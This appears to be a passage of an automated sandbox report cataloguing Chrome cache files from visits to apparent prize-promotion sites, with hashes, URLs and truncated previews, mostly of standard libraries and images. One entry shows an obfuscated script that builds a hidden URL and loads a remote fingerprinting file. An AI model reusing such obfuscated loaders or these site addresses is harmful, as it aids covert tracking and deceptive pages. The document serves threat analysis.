Preview:	// Get the modal element. var modal = document.getElementById("termsModal");. var modalContent = document.getElementById("modalContent");. var termsText = document.getElementById("termsText");.. // Get the button that opens the modal. var btn = document.getElementById("terms-btn");.. // Get the <span> element that closes the modal. var span = document.getElementsByClassName("close")[0];.. // When the user clicks the button, open the modal . btn.onclick = function() {. // Fetch the terms and conditions content from the PHP file. fetch('/master/terms/js/test.php'). .then(response => response.text()). .then(data => {. termsText.innerHTML = data;. modal.style.display = "block";. }). .catch(error => {. termsText.innerHTML = "Failed to load terms and conditions.";. });. }.. // When the user clicks on <span> (x), close the modal. span.onclick = function() {. modal.style

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2518), with no line terminators
Category:	downloaded
Size (bytes):	2518
Entropy (8bit):	4.921381234448562
Encrypted:	false
SSDEEP:	48:IMcDZwuzYV7y9X5S/v6ZGbPvglV0Thn7DhquRQC8XthuSuujBIO4bfOQkBaRbrvg:I1DK/Bye/yAgc7DhquRQC8XTu9w6fa0K
MD5:	7B7E283F51C3FF075E09F13EC6E25B86
SHA1:	A4C832F31DFC2FD2DC9DC21A3C8C853B4EFDD62D
SHA-256:	FD6F215CB3909AC889CCA094C0E80E82B50F7B9A49E8C8FAD2AACEE610BA8C13
SHA-512:	AB7FEBB8B909C32C426467A406C2900DB1123956CE01A1DDC244BE8C13FD9BC20AD8DC1D825E29AF7C64C8D6B0206912D4884E47E76B6374D0C313B66F0550F4
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/promise.min.js
Preview:	!function(t){function e(){}function n(t,e){return function(){t.apply(e,arguments)}}function o(t){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof t)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],s(t,this)}function r(t,e){for(;3===t._state;)t=t._value;return 0===t._state?void t._deferreds.push(e):(t._handled=!0,void a(function(){var n=1===t._state?e.onFulfilled:e.onRejected;if(null===n)return void(1===t._state?i:f)(e.promise,t._value);var o;try{o=n(t._value)}catch(r){return void f(e.promise,r)}i(e.promise,o)}))}function i(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e\|\|"function"==typeof e)){var r=e.then;if(e instanceof o)return t._state=3,t._value=e,void u(t);if("function"==typeof r)return void s(n(r,e),t)}t._state=1,t._value=e,u(t)}catch(i){f(t,i)}}function f(t,e){t._state=2,t._value=e,u(t)}function u(t){2==

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 94 x 93, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6352
Entropy (8bit):	7.967097008955388
Encrypted:	false
SSDEEP:	96:s8gZUW/uobVvoEpojW9UlQFAZVgu2A5R7KiIuFk1433TUThvfYbQJHcvcb9kYHnQ:YWobVwe2W2D21sF84oVLeLqRyt9P
MD5:	22508899121504E1B30622E4B68367EE
SHA1:	9064AC9456F4D6CC7ECBAF6B6F0168F89E9DA4A6
SHA-256:	BF97443D681D2BC0CA04B707D0D3D443BCF99B1BF4FC0AF84AC51286D0B4E02B
SHA-512:	354548C5792A0BD74F2E97AB5963B7D071342A7F2F7D66E09E4C0FF005D41AE789B590528E101769E1B4528FA4514013BFFA516750D38675029B1F2E4C4175E6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...^...].......!.....PLTE...............................................................z...~.................l........v.~...}..........}...........n..S..T..8.....c........g........\..[..m..a..H((+.."346..0..]..`..F..k..3LA# ....i..Crrt..saae........{..a&!.{{}..y..Y..l..k..>.....R..........hhl....;=A]O-..g..491......`TVZ}pE......GIK..C..;n`5.....rPOP..KhY)3).BDF..[[].U}l7.......w..r..[..S.zA......r..F........{i`J..:>7&.i..a..O..K..>..J.B.A..'UH&^O#.................n..i..YcV4D:......d.c..P.t2we+..........\|....w..`.T..I[PE........W..J.C.5..%.....R..M3-%..iE<2.t.zc.}L..3..^zq]jf[..1...6PJ6..2..<..5...DHW..@..=......TK...,tRNS....+;J..z4oi..xC.^.........U............jX....IDATh..._.g...A\u.Q..3w....e].!!.$...LBB.. .....Ev..!..".=k.....bkk.x>..?...........o.I.....v....'.8o....V..t.............._..^...-a.....4av........4....#;9....5_..y.Y.5h........m.4.".x...u..p.......~T.M.~.[..b...$.}_.l{W,...y."I.X.%..H$....=.

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24142), with no line terminators
Category:	dropped
Size (bytes):	24142
Entropy (8bit):	5.227467438213271
Encrypted:	false
SSDEEP:	384:Vo1+7KuC7EzfeBz/21HylS+TefYJSmqZRJG6FfHwHmyZ6jH6/8bkJg26wdmvQMFp:W1+7Kd7EzfeBz/21HylS+TefYCW6FfQI
MD5:	092C4A0A8F166980D43EE01904806851
SHA1:	D38E02EDF4F4C056623A39A2B6C94927F0E72D43
SHA-256:	8598BEB945175324ED286EEA0291E81FEAD306C4BE22A2FAAEA7D735B5FD79DB
SHA-512:	B471856B954D55DA0CF8BDDE6A571983DB3892D0BFA06B3EA230CBAF807BCCD25F0DE26E7F3F16B8E175A3AF608982E2CA4A39268ACD6FF2AFD5BBAAB52BEF9E
Malicious:	false
Reputation:	low
Preview:	var _0x3c9787=_0xccbe;(function(_0x2d1483,_0x22a8fc){var _0x3f7399=_0xccbe,_0x5c721b=_0x2d1483();while(!![]){try{var _0x5e41a1=parseInt(_0x3f7399(0x187))/0x1(parseInt(_0x3f7399(0x140))/0x2)+-parseInt(_0x3f7399(0x166))/0x3(-parseInt(_0x3f7399(0x8b))/0x4)+-parseInt(_0x3f7399(0xa8))/0x5+parseInt(_0x3f7399(0x134))/0x6(parseInt(_0x3f7399(0xdf))/0x7)+-parseInt(_0x3f7399(0x161))/0x8+-parseInt(_0x3f7399(0x146))/0x9(parseInt(_0x3f7399(0x113))/0xa)+parseInt(_0x3f7399(0xc3))/0xb;if(_0x5e41a1===_0x22a8fc)break;else _0x5c721b['push'](_0x5c721b['shift']());}catch(_0x4421ae){_0x5c721b['push'](_0x5c721b['shift']());}}}(_0x5429,0xd162c));let manalytics=function(){var _0x2bc151=_0xccbe;let _0x105952=function(_0x15eb1b){var _0x476596=_0xccbe;let _0x543234=getShortId();if(!_0x543234)return;import(_0x476596(0xc9)+_0x476596(0x151)+_0x476596(0x9a)+_0x476596(0x149)+_0x476596(0xdd)+'.ama'+_0x476596(0xee)+_0x476596(0x17b)+_0x476596(0x143)+_0x476596(0xcd)+'fp.j'+'s')['then'](_0x47b4a2=>_0x47b4a2[_0x476596(0x

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7949), with no line terminators
Category:	downloaded
Size (bytes):	7949
Entropy (8bit):	5.779438117300865
Encrypted:	false
SSDEEP:	192:75+CAWW7dhtSR7Nrlw39ILZj18fCwNf6QIdtM7nn6kMK1y8RZRF/NS:FrW7dhtSR7Nrlw3yLZj18fCwvoM7nn6t
MD5:	BF09960D94946362886F51D731ACAE65
SHA1:	C79F5834B73CD124434AA722335D0F6CBB74AE7B
SHA-256:	834D36DE452F43F256D08F271113D75D93B57B8BBAAEDCD42DDF64F697F43195
SHA-512:	5B0B06A7BCB1E82AA78E89EE87F610D450CC2A18F576B2A1A984490A69F4E02DA08305430613750414B90BF8BBB68FBB03B5580F7DFE3F66C5CF3B9C96FE9411
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js?
Preview:	window._cf_chl_opt={cFPWv:'g'};~function(V,f,g,h,m,n,x,y){V=b,function(c,d,U,B,C){for(U=b,B=c();!![];)try{if(C=parseInt(U(315))/1+parseInt(U(292))/2+-parseInt(U(294))/3+-parseInt(U(277))/4+-parseInt(U(348))/5*(parseInt(U(290))/6)+parseInt(U(317))/7+-parseInt(U(291))/8,d===C)break;else B.push(B.shift())}catch(D){B.push(B.shift())}}(a,698862),f=this\|\|self,g=f[V(363)],h=function(W,d,B,C){return W=V,d=String[W(366)],B={'h':function(D){return D==null?'':B.g(D,6,function(E,X){return X=b,X(361)[X(332)](E)})},'g':function(D,E,F,Y,G,H,I,J,K,L,M,N,O,P,Q,R,S,T){if(Y=W,null==D)return'';for(H={},I={},J='',K=2,L=3,M=2,N=[],O=0,P=0,Q=0;Q<D[Y(336)];Q+=1)if(R=D[Y(332)](Q),Object[Y(323)][Y(316)][Y(267)](H,R)\|\|(H[R]=L++,I[R]=!0),S=J+R,Object[Y(323)][Y(316)][Y(267)](H,S))J=S;else{if(Object[Y(323)][Y(316)][Y(267)](I,J)){if(256>J[Y(365)](0)){for(G=0;G<M;O<<=1,E-1==P?(P=0,N[Y(280)](F(O)),O=0):P++,G++);for(T=J[Y(365)](0),G=0;8>G;O=1.08&T\|O<<1.53,E-1==P?(P=0,N[Y(280)](F(O)),O=0):P++,T>>=1,G++);}else{for(T=1,G=

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 250 x 250, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	70077
Entropy (8bit):	6.990367960516134
Encrypted:	false
SSDEEP:	1536:pRJNW/nFd+jLVT7G348852+uaQnFRpT6eJb4OkpsLFyeuJ0:7W/nFd+jLVT7G31u2+uxQe54wQzJ0
MD5:	5BA0EC119295578B938EC7FC54346DDF
SHA1:	BDBE04BA569591B208E653CC60E13EF573277F12
SHA-256:	FF7F8ED143061A4AE59DEEAEF7EAA335F041D452487541E7AEAA00D61A26FB95
SHA-512:	A822E669A30820D2CBD2EDE9DADBF6FEA8B608C15FF28C274E452060F57AC1D548DE62EEB7FD360EC054CA1FC2A542FAD308978F0A2ACA9F9DC1C04042F86D89
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/prize1.png
Preview:	.PNG........IHDR..............2.....fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-04-21T21:45:13+08:00" xmp:ModifyDate="2024-09-05T22:07:11+05:30" xmp:MetadataDate="2024-09-05T22:07:11+05:30" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:07da7c25-035c-bc48-89d0-4c6d2cdcf4d6" xmpMM:DocumentID="adobe:docid:photoshop:f3fdaa60-066b-ce4c-aa3c-30194e02cfd5" xmpMM:OriginalDocumen

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1373 x 170, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	26093
Entropy (8bit):	7.955726851772485
Encrypted:	false
SSDEEP:	384:4GP4OUGeYePDSg+9J5s/DY74+05uzApl9iC65/DO3ajDi5moA7I7PHEnSkgCFc:TPcHCJ5s/cELpStpDdjDi5moFaU
MD5:	DAC6375E62D1B34C0AEF49DEA22A289C
SHA1:	4D8F66AF11F6EC51E026A268D8F3597139CD47B1
SHA-256:	E02C67F644BE8472B1989F8E2C4BB93DDC921BD3F6B84F26F7C67DAF6F529B50
SHA-512:	6E5217CA4F1AC8C5D4CB94F00E95617DB6F9E17278987467FE752587C3751FBEC0AD3809C4D87E25406DB2C32BB700A68561870891BE98C61902F1E9F0909EBC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...]..........o......PLTE...............nnn...............'$&xxxtaa......qqq...#!$...........vvw......434ABDSTU...KJK'&)............+-ZZ[........jij.>Z......nnn..POP^^_ccdril1/1........._vnmo...aFO...445...::;wwxxxx...xxx......vvwvvw...xxy635..\ECD635xxy;8;634845...xxy..A>@..S....Fwwx..._635wxy..744745........yyz..C...yxz635..+....C....C...xxy.Ga...u.....h............. E..C..C.......C..C..N..(Bihi...635..Bxxy..C635.....+....T.3Q844.AZ.....+..W.s..\|...7............,.cy.Rl.....+.....nnn.....+..C.7J.Sl.\|...&..,....M.Wo.f}....{.......nnn.&7....m............)....>\.Sn.-bem..c...dU2..3..D../..`.=Y..>...745.....+"..xxy..:..2...........? ....B.....8".!..7..3..9..5..%..A..:..1..?..+..-.......D..:..(..&..=...aad..@...&).o.8...7C#Of--5 a.4z.=FN,.....'../{f1.q......tRNS.............bKc<.&.D..Z,..R..19/7.i.}..p%.t.....w.......E.;\Fs.%MR..2..h...XW.a..H..^..I%...'....s[.@...i....x^....s.p.v.....\|._.........u.....J.,.................

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	472
Entropy (8bit):	7.375078169507395
Encrypted:	false
SSDEEP:	12:6v/7T6B9YPKZAIJeno90e3u6/kA7i6voPJIjptzG/7:f9Yy3en+hQEpd27
MD5:	5FCBD93A05CA019CE2C548FFB925BE49
SHA1:	B36345762357E3CB118A9C21D5A00B197A208D81
SHA-256:	CA866D95AB108B5B02084B7065CDADD6162866CEECA061DA6BA98574041990FA
SHA-512:	DAC680024534260626879924E52906B04F127E5CF15A0610B299828B61B0419101623B5C45D9E1497D6D19F2073A9D40B310BF7A55FE7940D8BD811313277123
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/error-input_1.png
Preview:	.PNG........IHDR.............,..n....PLTELiq.%.7.,.5.7.6...-.;...2.$.8.+...7.8.-.<.m..y..:.:.8.:.h..d..4.1....=..\..V........Q......W...............)."...e....c.j..t...q....G...........D..W............hi.....tRNS.$.R.........Z.i.0.K...0....g....IDATx.u.E..P..P.^._...s.C.-.Y..d...H..E..........4411...G..U.N........H}a@...0/..%I.9aM\|RU%.\..m.....;.F.D5[(..3....~&L./..#.S..}/.y..w.q....z.w..$....Wn...td.9.....IEND.B`.

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 250 x 250, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	70077
Entropy (8bit):	6.990378158380422
Encrypted:	false
SSDEEP:	1536:pXFJNW/nFd+jLVT7G348852+uaQneRpT6eJb4OkpsLFyeuJ0:PW/nFd+jLVT7G31u2+uxje54wQzJ0
MD5:	C4FAED90CD2CFB32394A696399CAD0C8
SHA1:	D17DCC4FFBFEA363280F0B71557E6092D308DDB9
SHA-256:	880BBC2874C289A5AE1C676116AC56A9BB7CB885467131FE8D2EDCB90550F9AC
SHA-512:	FC5E44704F4A39DC47D2B5A1883B6EE3E6076FDC77FC40C67549A92B3366A385C70F3E44A052C4A89162FA8A2874AF16EBFE7E9E1E886E906B2745DAF2A22E96
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/product.png
Preview:	.PNG........IHDR..............2.....fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-04-21T21:45:13+08:00" xmp:ModifyDate="2024-09-05T22:06:50+05:30" xmp:MetadataDate="2024-09-05T22:06:50+05:30" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:bdabe0e0-5e4f-764a-88aa-d538fe8e5d89" xmpMM:DocumentID="adobe:docid:photoshop:a7cdd38f-6bf8-1444-b9a6-91387a50a347" xmpMM:OriginalDocumen

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	180
Entropy (8bit):	5.1355377528112705
Encrypted:	false
SSDEEP:	3:OmyX9YFjh7kELep8Uph0IvCq4d7G1EwGZXsqJK5Zv82MHykgG3XasHBHI1:g9qj5NypundVwGSqkY2MHhnXpho1
MD5:	2CBC07568E8EBA494A3A7378295A0E5A
SHA1:	1FD96A68037F3D0D045763AA6956F8EABF2F2061
SHA-256:	A436AA6DE710C4517CCCD79B62D9DD938B10037E551973FC363DB37C594CAAF2
SHA-512:	9A19F81AE691DD050F7179C4F002B828B97E3CBE44CDA72190B711FC2E104F12A31A6D91F395C9E5F1671EEF5F5810A0D33C41E77DE49DE3E7A00F3EEC33349D
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISTwlnlNWeVT6Z7BIFDWtomm4SBQ1Pnif4EgUNXd6HLBIFDaZplkISBQ1JGK8HEgUNm-0bqRIFDVM77ZwSBQ2xbWyWEgUNg6hbPRIFDRIP_Go=?alt=proto
Preview:	CoIBCgsNa2iabhoECAMYAQoLDU+eJ/gaBAgFGAEKCw1d3ocsGgQIJBgBCgsNpmmWQhoECB4YAQoLDUkYrwcaBAgfGAEKCw2b7RupGgQIIxgBCgsNUzvtnBoECCEYAQoLDbFtbJYaBAgiGAEKCw2DqFs9GgQICRgBCgsNEg/8ahoECA0YAQ==

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65326)
Category:	downloaded
Size (bytes):	160302
Entropy (8bit):	5.078105585474276
Encrypted:	false
SSDEEP:	1536:V47CIJ0T2r+ryEIA1pDEBi8yNcuSEcA1/uypq3SYiLENM6HN26b:S7VSGGq3SYiLENM6HN26b
MD5:	816AF0EDDD3B4822C2756227C7E7B7EE
SHA1:	C470239D4C7DB36D56DC3A74A080C62218C6EDC4
SHA-256:	5B0FBE5B7AD705F6A937C4998AD02F73D8F0D976FE231B74AEF0EC996990C93A
SHA-512:	32844D968C5B4AD05C0FCCF733FD819A74FEAE0E08B0CC4F917686876CC3E8B18D34513CD16DE89EC02145C30032B4A8C962FDC43EC4AEDD267A7EEF47C2D466
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/bootstrap.min.css
Preview:	/!. Bootstrap v4.5.2 (https://getbootstrap.com/). * Copyright 2011-2020 The Bootstrap Authors. * Copyright 2011-2020 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace},::after,::before{box-sizing:bo

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65350)
Category:	downloaded
Size (bytes):	1196706
Entropy (8bit):	4.2942692242496445
Encrypted:	false
SSDEEP:	6144:9YompD57E8DjS2sDVW4oUchNV2Dnio/NULo9tRtKeDVs3O3seX/YJF2S8eK8wDKp:AD57EEhNwtRw53O3l0V
MD5:	5E29440867FDB02A48DFFDED02338C31
SHA1:	C8BFBBFCA7EB327E2E98CAF637D6DE05E5EE737A
SHA-256:	812AB0E46F86B2CE98AB2425AB2224B90D0845952A1AC0D5ABD734B6217E98BF
SHA-512:	4E7DA6D13229815C93CF3BE6C4B36EA9B4891F724FF239BE0B2DE1BC7AD6EE77530DC275C399818A4B2A0C16FC1A913692C92D16F0C1FF2919D260E9B198F6D3
Malicious:	false
Reputation:	low
URL:	https://use.fontawesome.com/releases/v5.15.4/js/all.js
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.!function(){"use strict";var c={},l={};try{"undefined"!=typeof window&&(c=window),"undefined"!=typeof document&&(l=document)}catch(c){}var h=(c.navigator\|\|{}).userAgent,a=void 0===h?"":h,z=c,v=l,m=(z.document,!!v.documentElement&&!!v.head&&"function"==typeof v.addEventListener&&v.createElement,~a.indexOf("MSIE")\|\|a.indexOf("Trident/"),"___FONT_AWESOME___"),e=function(){try{return!0}catch(c){return!1}}();var s=z\|\|{};s[m]\|\|(s[m]={}),s[m].styles\|\|(s[m].styles={}),s[m].hooks\|\|(s[m].hooks={}),s[m].shims\|\|(s[m].shims=[]);var t=s[m];function M(c,a){var l=(2<arguments.length&&void 0!==arguments[2]?arguments[2]:{}).skipHooks,h=void 0!==l&&l,z=Object.keys(a).reduce(function(c,l){var h=a[l];return!!h.icon?c[h.iconName]=h.icon:c[l]=h,c},{});"function"!=typeof t.hooks.addPack\|\|h?t.styles[c]=function(z){for(var c=1;c

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 94 x 93, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	6352
Entropy (8bit):	7.967097008955388
Encrypted:	false
SSDEEP:	96:s8gZUW/uobVvoEpojW9UlQFAZVgu2A5R7KiIuFk1433TUThvfYbQJHcvcb9kYHnQ:YWobVwe2W2D21sF84oVLeLqRyt9P
MD5:	22508899121504E1B30622E4B68367EE
SHA1:	9064AC9456F4D6CC7ECBAF6B6F0168F89E9DA4A6
SHA-256:	BF97443D681D2BC0CA04B707D0D3D443BCF99B1BF4FC0AF84AC51286D0B4E02B
SHA-512:	354548C5792A0BD74F2E97AB5963B7D071342A7F2F7D66E09E4C0FF005D41AE789B590528E101769E1B4528FA4514013BFFA516750D38675029B1F2E4C4175E6
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/f_guarantee.png
Preview:	.PNG........IHDR...^...].......!.....PLTE...............................................................z...~.................l........v.~...}..........}...........n..S..T..8.....c........g........\..[..m..a..H((+.."346..0..]..`..F..k..3LA# ....i..Crrt..saae........{..a&!.{{}..y..Y..l..k..>.....R..........hhl....;=A]O-..g..491......`TVZ}pE......GIK..C..;n`5.....rPOP..KhY)3).BDF..[[].U}l7.......w..r..[..S.zA......r..F........{i`J..:>7&.i..a..O..K..>..J.B.A..'UH&^O#.................n..i..YcV4D:......d.c..P.t2we+..........\|....w..`.T..I[PE........W..J.C.5..%.....R..M3-%..iE<2.t.zc.}L..3..^zq]jf[..1...6PJ6..2..<..5...DHW..@..=......TK...,tRNS....+;J..z4oi..xC.^.........U............jX....IDATh..._.g...A\u.Q..3w....e].!!.$...LBB.. .....Ev..!..".=k.....bkk.x>..?...........o.I.....v....'.8o....V..t.............._..^...-a.....4av........4....#;9....5_..y.Y.5h........m.4.".x...u..p.......~T.M.~.[..b...$.}_.l{W,...y."I.X.%..H$....=.

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 250 x 250, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	70077
Entropy (8bit):	6.990367960516134
Encrypted:	false
SSDEEP:	1536:pRJNW/nFd+jLVT7G348852+uaQnFRpT6eJb4OkpsLFyeuJ0:7W/nFd+jLVT7G31u2+uxQe54wQzJ0
MD5:	5BA0EC119295578B938EC7FC54346DDF
SHA1:	BDBE04BA569591B208E653CC60E13EF573277F12
SHA-256:	FF7F8ED143061A4AE59DEEAEF7EAA335F041D452487541E7AEAA00D61A26FB95
SHA-512:	A822E669A30820D2CBD2EDE9DADBF6FEA8B608C15FF28C274E452060F57AC1D548DE62EEB7FD360EC054CA1FC2A542FAD308978F0A2ACA9F9DC1C04042F86D89
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............2.....fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-04-21T21:45:13+08:00" xmp:ModifyDate="2024-09-05T22:07:11+05:30" xmp:MetadataDate="2024-09-05T22:07:11+05:30" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:07da7c25-035c-bc48-89d0-4c6d2cdcf4d6" xmpMM:DocumentID="adobe:docid:photoshop:f3fdaa60-066b-ce4c-aa3c-30194e02cfd5" xmpMM:OriginalDocumen

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (525), with CRLF line terminators
Category:	dropped
Size (bytes):	6038
Entropy (8bit):	5.338302166759979
Encrypted:	false
SSDEEP:	96:lZa9ZIEOhHGny6Mj/GH6nXQyahW9PZbyt2xLujGiPMZTnyAeKJevau8i:+knhky3/quQzohyAxLujGiPGyAecevjF
MD5:	00E51064B2412AF2F997D799E1F1933F
SHA1:	7236381727CE02050DFF500EDD52D199C3283A9E
SHA-256:	C1B9A05B09DFDBDA80E5A007582D94069A582DA1EA93452F77230E85FB1197B5
SHA-512:	B9BC810B57B01F8E8962ED966FDC4D6C3D794A5C12BABA84C6915D4B0A7B61F313B51E47EA8B1CFCE8541ABF52DE92A8703A96B0CBEBDF6258C344AF75C13163
Malicious:	false
Reputation:	low
Preview:	// jQuery Mask Plugin v1.13.4..// github.com/igorescobar/jQuery-Mask-Plugin..(function(b){"function"===typeof define&&define.amd?define(["jquery"],b):"object"===typeof exports?module.exports=b(require("jquery")):b(jQuery\|\|Zepto)})(function(b){var y=function(a,c,d){a=b(a);var g=this,k=a.val(),l;c="function"===typeof c?c(a.val(),void 0,a,d):c;var e={invalid:[],getCaret:function(){try{var q,b=0,e=a.get(0),f=document.selection,c=e.selectionStart;if(f&&-1===navigator.appVersion.indexOf("MSIE 10"))q=f.createRange(),q.moveStart("character",a.is("input")?-a.val().length:-a.text().length),..b=q.text.length;else if(c\|\|"0"===c)b=c;return b}catch(d){}},setCaret:function(q){try{if(a.is(":focus")){var b,c=a.get(0);c.setSelectionRange?c.setSelectionRange(q,q):c.createTextRange&&(b=c.createTextRange(),b.collapse(!0),b.moveEnd("character",q),b.moveStart("character",q),b.select())}}catch(f){}},events:function(){a.on("input.mask keyup.mask",e.behaviour).on("paste.mask drop.mask",function(){setTimeout(fun

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 620 x 584, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	408106
Entropy (8bit):	7.943396463732234
Encrypted:	false
SSDEEP:	12288:Ob0Gdnhk30H0OQE2BuM6Ms8wE3+9zVl/bmp:y0cnh6vBgMs8wt/bq
MD5:	768E81FBF4523F587FAF257CB75698C9
SHA1:	9C242FA0774C89E17CE023449E8C0DF88F857B4D
SHA-256:	1B5302332AF1A7A43CF0BC1BBE0778262E6639C97365BF1A708DA74A0416287A
SHA-512:	2E6A7D482FC52F46BD1A6ACC61C8D264BCF1BD06A2C79C5CB02E452EA0A844914707A3F603F1C25F6287B253CC7B38CCFCB3D1F7FA010B78E69301464544A3B7
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/favicon.jpg
